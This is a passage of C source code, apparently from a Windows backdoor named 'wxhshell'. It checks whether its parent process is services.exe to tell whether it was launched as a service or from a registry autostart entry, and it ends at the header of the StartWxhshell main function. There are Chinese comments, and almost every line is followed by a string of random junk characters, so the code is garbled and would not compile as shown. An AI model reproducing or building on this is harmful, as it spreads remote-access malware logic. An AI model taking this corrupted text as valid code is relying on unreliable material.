ULONG InheritedFromUniqueProcessId; b@Cvs4
} PROCESS_BASIC_INFORMATION; ~:Nyv+g,$
_FgeE`X
PROCNTQSIP NtQueryInformationProcess; ay.IKBXc
Aed"J5[a
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $T0[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f{oWd]eAhb
G}*B`m
HANDLE hProcess; 'z:p8"h}
PROCESS_BASIC_INFORMATION pbi; st>t~a|T
ya=51~ by"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *WG}K?"/
if(NULL == hInst ) return 0; NST6pu\,U
UQ?8dw:E~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `}l%Am
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ualtIHXK)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b iD7(AK
f
;JSP
if (!NtQueryInformationProcess) return 0; 4 vphLAm
i:72FVo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8!fwXm
if(!hProcess) return 0; |Rc#Q<Vh|
Tc:`TE=2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &2J|v#$F
:W"ITY(
CloseHandle(hProcess); 2)YLs5>W%
5**xU+&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xl$ Qw'
if(hProcess==NULL) return 0; u1l#k60
3-5lO#
HMODULE hMod; EQ -\tWY
char procName[255]; xh$[E&2u
unsigned long cbNeeded; b;vO`
YzqhFFaj.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z)~2{)
2NM}u\%c/
CloseHandle(hProcess); ;a"Ukh
YQOGxSi
if(strstr(procName,"services")) return 1; // 以服务启动 h?sh#j6
v.MWO]L
return 0; // 注册表启动 tti.-
} $6N.ykJ
+]X^bB[
// 主模块 U<x3=P
int StartWxhshell(LPSTR lpCmdLine) RD^o&